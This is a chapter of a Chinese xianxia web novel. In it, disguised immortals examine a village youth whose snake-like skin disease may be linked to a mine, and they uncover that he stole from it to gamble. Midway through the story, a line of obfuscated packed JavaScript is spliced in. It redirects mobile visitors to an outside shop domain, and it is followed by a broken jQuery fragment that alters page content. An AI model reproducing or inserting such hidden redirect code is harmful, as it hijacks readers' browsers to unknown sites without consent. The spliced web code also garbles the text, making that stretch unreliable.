“掌教,我还有一件小事,想要禀报。”
从审问碧水到回顾昭仪之乱,奉言静静地侍立一旁。
他明白渊侯和天官讲述天帝和昭仪身份的缘由。那些年,他见过月芜彻夜伏案、或是清剿怨灵后回到天刑司的样子。但他只是一个小小的仙使,他无从开口。他能做的,只有为现在的案情提供他的观察。
月芜颔首:“你说。”
“小仙在七仙村中看到一例从未见过的病症,弘岘说,那叫蛇矿病,”奉言谨慎道,“弘岘没有进入裂穴,因此不知,蛟尸灰色鳞片的裂纹,与蛇矿病患者身上的皮屑裂纹形状,极为相似。小仙有所怀疑,怕二者之间存在某种联系。”
弘岘惊愣,呆立着摸摸脑袋,一股寒意从他背后蹿起来,他打了个激灵。
“蛇矿病?”月芜冷了脸色,“和矿洞有关?”
弘岘赶忙上前:“我凡人时候,在流民中见过,得这种病的人不多,天南海北都有几例,大多是采矿的劳役,这病长在皮肤上像蛇蜕一样,我们便把它叫做蛇矿病。”
珩夜道:“七仙村附近唯一的矿洞就是那座废弃的萤石矿。那个病人会不会进过矿洞?”
水官立时起身:“那我们还等什么,去问他。”
月芜点头。
众人起身行事。
碧水因搜魂虚弱,留下钻地使陪伴她在湖中蕴养,奉言提着麻刀灰去修补房顶,顺带找村民打探近年出入的外乡人。
月芜四人则跟随弘岘前往病患那户人家。
弘岘在前引路,走出几步,想起什么,回头道:“对了,那户人家只剩病人和一位老妪。这蛇矿病容易受惊,人一受惊就犯病,若是见到生人,只怕问不出话,反而吓着他。”
他看看朱袍乌纱的天官,再看看冷若冰霜的月芜,挠挠头没往下说——这二位仙人站在一起,活像官府上门查案。
月芜了然,环视一圈。珩夜和水官已经用蜃息丹改了容貌衣着,一个富贵员外,一个潦草渔女,不必再改动。他走进茅屋,经过天官身边时看了他一眼。
天官会意,去了另一间。他非常迅速,一进一出,变成个抱着算盘、留着胡子的老账房。
“啊!”水官懊恼大叫,“我不要!这样太老了!”
“……”天官往脸上一抹,胡子去掉,变成相貌平平的青年人。
“不行不行!”水官仍旧不满意,“太丑!”
珩夜劝道:“只是应付一时,何必计较。”
“我接受不了嘛!”水官瞪他,“月芜变成老头你试试?”
“……”天官再次进出茅屋,少年的声音喊住她,“楼小辰。”
弘岘先前在一旁咧着嘴看乐子,这下“哇”一声,凑近打量,好奇道:“真仙,这是您小时候的样子吗?”
“……是啊。”少年天官的脸上露出略显成熟的无奈表情,一身布衣,腰间别一卷书,手里抱着木算盘。眉间一颗朱砂痣,像画上走下来的仙僮。
水官这回高兴了,拍手笑说:“好好好,你是书僮,我是渔女,还是很般配。”
弘岘嗤嗤笑道:“如果真仙愿意,当叶公子也是可以的。”
珩夜抱臂站在墙边,闻言笑道:“我没意见。”
这种涨辈分的事他可不拒绝。
少年天官摆摆手,婉拒了。
另一间茅屋,月芜走出来,清冷的声音问:“如何?”
弘岘还在笑呢,扭头看过去,脖颈僵住,笑容缓缓消失,目光呆滞。水官手里的鱼竿吧嗒一声掉在地上。饶是天官素来沉稳,也愣住了——
珩夜缓慢站直身体:“你……”
他没能说出一句完整的话。
月芜拧眉,看了看衣裙:“不妥?”
“妥、妥,太妥了,”水官下意识回答,她呆呆地靠近,仰头看他,“你、你这也太美了吧月芜……”
月芜摘去玉冠,发丝用玉簪挽起,褪去天刑司掌教的法衣,换上女子裙装。月白的底,裙摆处绣着几枝疏淡的兰草,衣料轻薄柔软,像一袭垂落的月光。那颗淡粉色的夜明珠坠在他腰间,分外合适。
还是那张脸,但有什么不一样了。不是五官变了,是那些被法袍、玉冠、冷面覆盖的东西——眉眼的柔美线条、垂眸时的静谧——此刻全都浮了出来。他站在那里,像雪夜的月光落在庭院里。
水官围着他,绕了一圈观察细节,又后退看看整体。她忽然懊恼地跺脚,含恨道:“你、你怎么没生成个女子!真是天地间好大一个遗憾!”
她又好奇近前耸动鼻头,“你也没用蜃息丹啊!我从来不知道,你竟然长成这样!”水官瞪圆了眼睛,震惊非常,“月芜!我认识你四千年!你居然长这样!”
她扯住自己的蓑衣看了看,忽然很是不喜:“我一个女子,都没你好看!”
她又瞧见那位耳朵通红的渊侯,恨恨地大喊:“我终于知道,为什么珩夜整日里想你了!换我是个男人,我也喜欢!”
下一刻就被天官敲了脑袋,“哎哟”一声捂住额头。
弘岘张了张嘴,什么也说不出来。
珩夜从头到脚把月芜看了一遍,然后移开视线,又移回来,又移开。
月芜拿起桌上的蜃息丹佩在颈间。清冷的男声从喉间滤过,变得温和、低缓,像冰层下静静流淌的水:“走吧。”
珩夜喉结滚了一下:“……嗯。”
众人走出小院,向村落而去。
弘岘这才反应过来,上前几步,跟在月芜身侧:“天、天仙……您怎么想到用女子身份?实在是很妙。”
他不唤掌教,又开始称呼“天仙”了。
珩夜默不作声凑近几分,牵住月芜藏在衣袖下的手。
“……”月芜不动声色地将手抽出,回答弘岘,“从前未飞升时,偶尔用女子身份,便于接近妇孺和病患。”
“原来是这样,”弘岘憨笑道,“那我向那老妪介绍,说您是叶员外的娘子?”
珩夜面色微红,又悄悄靠近牵住月芜的衣袖往里探寻。
“……不必,”月芜抬手错开,掸一下衣裙,“说我是他孀居的阿姊。”
弘岘呆怔一下,偷瞄珩夜两眼,想笑又不敢笑地跑前边带路去了。
珩夜觉得不对,问:“孀居是什么意思?”
月芜往前走两步,没有回答。
身后天官身形变小了,没能顺利捂住水官的嘴,水官从他指缝里笑出声来:“就是死了丈夫的……唔……”
珩夜深吸一口气,上前想要月芜给他解释。
还没来得及开口,月芜便说:“好了,都正经些。想想清荷和蛟尸。正事要紧,不要笑闹。”
听见“清荷”,水官乖了,嘟嘟嘴巴,不再取笑。
月芜分明在说水官,珩夜却觉得他在说自己。
“外人面前,注意分寸”——珩夜抿唇,他就知道!月芜不是那么好靠近的!若非昨日月芜失态被他抓住,只怕牵手、亲吻,都无法求得。昨夜种种,恍然如梦一般。
可是,他能怎么办,今日查案、审讯、乔装的月芜,还是令他崇拜、心动。
珩夜负手走在月芜身旁,不甘心地扮演着他的叶员外。心里却想着,什么时候能为月芜梳发,瞧见他发丝披散的样子。
月芜余光看去,见珩夜没有伤怀失落,他心下一松。天官水官都在身后,要他和珩夜牵手,实在为难。
孀居的阿姊——月芜微微侧脸,藏住眼中一点笑意。他当然是故意的。好在珩夜没有强求,乖乖当他的叶员外。
那户人家很偏,穿过那片树林,山水之间一户小院。屋前堆着些破旧的渔网和背篓,门槛被雨水泡得发了黑。旁边立着的锄头之类的农具,畚箕里晾晒着菜干和谷种。
月芜垂眸扫过,若有所思。
弘岘上前敲门:“婆婆,您在吗?”
里面响起一阵窸窣,木门被拉开一道缝。老妪一见是弘岘,神色松了下来。“是你呀。”她拉开门,随即看见弘岘身后的人,动作一僵。
“婆婆,”弘岘笑起来,就像隔壁家的孩子那样平易近人,“我们来看看乔哥儿。”
老妪紧张道:“这两位是?”
“这就是我家叶员外了,”弘岘介绍珩夜,又转身比手向月芜道,“这是员外的姐姐,叶娘子。”
弘岘瞧上去憨实,假话却张口就来:“我们娘子可了不起,说是医仙下凡也不为过!娘子正在编纂医书,员外不想阿姊劳累,带她来七仙湖散心。我回去说了乔哥儿的病症,娘子便要来帮你们看病呢!”
“真的?”老妪瑟缩又惊喜,颤巍巍就要下跪磕头,“多谢娘子,多谢娘子……”
月芜稳稳扶住她,将她托起,慈和道:“不必多礼。先看一眼病患吧。”
他声音淡淡的,却有一股可靠的力量感,也不似天庭中那样严肃冷漠。
老妪立时就信了,看着他的面容一时痴怔:“您,您真是天仙下凡……神仙妃子一般……”
“……”月芜没说什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625785|205593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
弘岘扶住老妪的手臂,轻声劝慰几句,老妪点点头,将他们让进屋。
屋内很暗。墙角那张床上,形容灰败的青年半靠着,脖子和侧脸的灰色皮屑比弘岘上次来时更厚了些。他的眼睛因为消瘦而深深凹陷下去,颧骨突出,搭在被褥外的手背上布满了纵横交错的裂纹。
但他看上去精神尚可。他看见弘岘,眼里有些感激,又看见跟进来的月芜,眼神一时发痴。
珩夜眼睛微微眯起,抿住嘴唇。
老妪拖出一条木凳,用衣袖来回擦拭:“员外坐、坐这里吧。我这里实在简陋,也没什么可以招待的,我、我去弄些饭菜……”
“哎呀,婆婆,别和我们客气,您就坐着吧!”水官性急,将老妪轻巧按在凳上,捂着嘴笑道,“别打扰‘娘子’看病!”
“乔哥儿,别怕,”弘岘弯腰对那青年说,“叶娘子是大夫,想问你几句话。”
乔哥儿点点头。
月芜上前,想检查他的皮肤,青年瑟缩着立马提起被子:“叶、叶娘子,这病丑陋,您、您快离去吧,我这病是好不了的!”
月芜没有理会,探过他的脉象,又伸手拨过他的头。厚腻的皮屑死死覆盖住他的脸,那裂纹的走向、边缘的弧度、鳞片状的层叠,与裂穴中那具蛟尸的灰白鳞片如出一辙。
乔哥儿止不住地发颤。
月芜放开他,用手帕擦了擦手,坐在一旁:“从什么时候开始得这病的?”
青年害怕得说不出话来,瑟缩着快要哭泣。
老妪抹抹眼泪:“三年了。一开始,他只说有些痒,后来生出这些、这些我们也不知道是什么的东西,越来越忍不住抓挠,就成了这样!我们到弄巧城找大夫看,他们都说治不了……”
月芜看向那青年,问:“得病之前,你去过矿洞吗?”
乔哥儿止不住地发颤,一味拉起被子遮住自己:“没有、我没有!”
“你这是蛇矿病,多半和矿洞有关,”弘岘叹气,向月芜说,“上次也是这样,一提起矿洞就害怕得不行。”
老妪颤声道:“矿洞征召劳役的时候他还小,确实不曾去过。”
“未必是当劳役,”月芜轻声问道,“只说是否去过。”
乔哥儿立时道:“没去过!”
老妪张了张嘴,避而不答,反问:“叶娘子,这、这和看病有什么关系呢……”
月芜缓声又问:“来时经过一片枣树林,是您家的吗?”
老妪抽泣道:“是。可怜乔哥儿的父母,四年前进城一趟,突遭横祸人没了!只剩我们祖孙相依为命,如今他又是这样,我一个人,如何照看……”
“四年前……”月芜看向老妪,“我看门口的渔网破旧,锄头却是新的,院里晒了菜干和谷种,想来您还在打理农田。”
老妪抹了抹脸,点点头。
“有渔网、果树、农田,这处屋宅虽然偏僻,位置却很好,依山傍水。门槛用的榆木,曾经算是村中的富贵人家,”月芜视线从门口收回,“这三年村里都在忙着搬山石,不曾和城里往来,医药消耗不多。双亲离世不足一年,家道中落。无非是……嫖空、赌博、斗讼、挥霍。”
老妪已然呆滞,床上的青年一个激灵,浑身开始发抖。
老妪颤着手:“您、您……这、这究竟和看病有什么关系啊!”
月芜继续说了下去:“他年纪尚小,脉象不见亏空。没有诉讼,家资不会交给孩子手中。那么,就是赌了?”
老妪起身,看向弘岘道:“我、我们不看了,我们不看这病了,还请叶娘子离去吧!”
月芜神色平静,目光却有看透人心的力量:“你偷了矿洞中的东西,以做赌资,是么?”
乔哥儿脸色剧变,眼中流露出深深的恐惧。
那老妪也呆住了,扶着门框,似乎瘫软。
月芜起身道:“既然不看了,我们便走吧。”
珩夜愣愣的,一时间没有起身。水官与天官对视一眼,踌躇着没动。弘岘傻掉了,他来过这户人家两次,从来没发现过这么多东西!
老妪却扑过来拉住他的手:“仙子、仙子!您有办法救我孙儿,是吗,求求您,求您救救他!”
月芜没有立时说话。
老妪回头冲青年哭喊:“仙子都看出来了,你还要瞒到何时……真要死了,留我独活,你才甘心吗……”
她哭得伤心,月芜扶起老妪,将她安置在床边,待她平复少许,缓缓开口道:“不要哭了,把你们知道的,都告诉我。”